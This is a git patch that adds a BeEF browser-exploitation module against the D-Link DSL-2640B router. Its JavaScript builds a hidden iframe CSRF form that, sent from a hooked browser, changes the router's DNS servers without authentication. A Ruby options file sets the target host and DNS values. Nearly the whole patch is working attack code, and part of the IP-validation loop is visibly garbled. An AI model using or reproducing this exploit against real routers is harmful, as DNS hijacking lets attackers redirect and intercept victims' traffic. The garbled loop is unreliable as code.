From abaa6a745d924a1710216dd094450ef78fd2ecdd Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 21 Feb 2015 10:11:20 +0000 Subject: [PATCH] Add D-Link DSL-2640B DNS Hijack module --- .../dlink_dsl2640b_dns_hijack/command.js | 64 +++++++++++++++++++ .../dlink_dsl2640b_dns_hijack/config.yaml | 18 ++++++ .../dlink_dsl2640b_dns_hijack/module.rb | 20 ++++++ 3 files changed, 102 insertions(+) create mode 100644 modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js create mode 100644 modules/exploits/router/dlink_dsl2640b_dns_hijack/config.yaml create mode 100644 modules/exploits/router/dlink_dsl2640b_dns_hijack/module.rb diff --git a/modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js b/modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js new file mode 100644 index 000000000..3f1ed9382 --- /dev/null +++ b/modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js @@ -0,0 +1,64 @@ +// +// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + // config + var target = 'http://<%= @rhost %>/ddnsmngr.cmd'; + var dns1 = '<%= @dns1 %>'; + var dns2 = '<%= @dns2 %>'; + var timeout = 15; + + // validate primary DNS server IP address + var parts = dns1.split('.'); + if (parts.length != 4) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); + return; + } + for (var i=0; i 255) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided"); + return; + } + } + + // validate secondary DNS server IP address + var parts = dns2.split('.'); + if (parts.length != 4) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); + return; + } + for (var i=0; i 255) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided"); + return; + } + } + + // change DNS + var dlink_2640b_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [ + {'type':'hidden', 'name':'action', 'value': 'apply'}, + {'type':'hidden', 'name':'service', 'value': '0'}, + {'type':'hidden', 'name':'enbl', 'value': '0'}, + {'type':'hidden', 'name':'dnsPrimary', 'value': dns1}, + {'type':'hidden', 'name':'dnsSecondary', 'value': dns2}, + {'type':'hidden', 'name':'dnsDynamic', 'value': '0'}, + {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}, + {'type':'hidden', 'name':'dns6Type', 'value': 'DHCP'} + ]); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + // clean up + cleanup = function() { + document.body.removeChild(dlink_2640b_iframe_<%= @command_id %>); + } + setTimeout("cleanup()", timeout*1000); + +}); + diff --git a/modules/exploits/router/dlink_dsl2640b_dns_hijack/config.yaml b/modules/exploits/router/dlink_dsl2640b_dns_hijack/config.yaml new file mode 100644 index 000000000..c873da9ae --- /dev/null +++ b/modules/exploits/router/dlink_dsl2640b_dns_hijack/config.yaml @@ -0,0 +1,18 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# References: +# http://www.exploit-db.com/exploits/36105/ +# +beef: + module: + dlink_2640b_dns_hijack: + enable: true + category: ["Exploits", "Router"] + name: "D-Link DSL-2640B DNS Hijack" + description: "Attempts to change the DNS setting on a D-Link DSL-2640B router.

The D-Link DSL-2640B reportedly does not require authentication to change the DNS servers.

This module has not been tested." + authors: ["Todor Donev"] + target: + unknown: ["ALL"] diff --git a/modules/exploits/router/dlink_dsl2640b_dns_hijack/module.rb b/modules/exploits/router/dlink_dsl2640b_dns_hijack/module.rb new file mode 100644 index 000000000..2051f39cd --- /dev/null +++ b/modules/exploits/router/dlink_dsl2640b_dns_hijack/module.rb @@ -0,0 +1,20 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Dlink_2640b_dns_hijack < BeEF::Core::Command + + def self.options + return [ + {'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1'}, + {'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8'}, + {'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end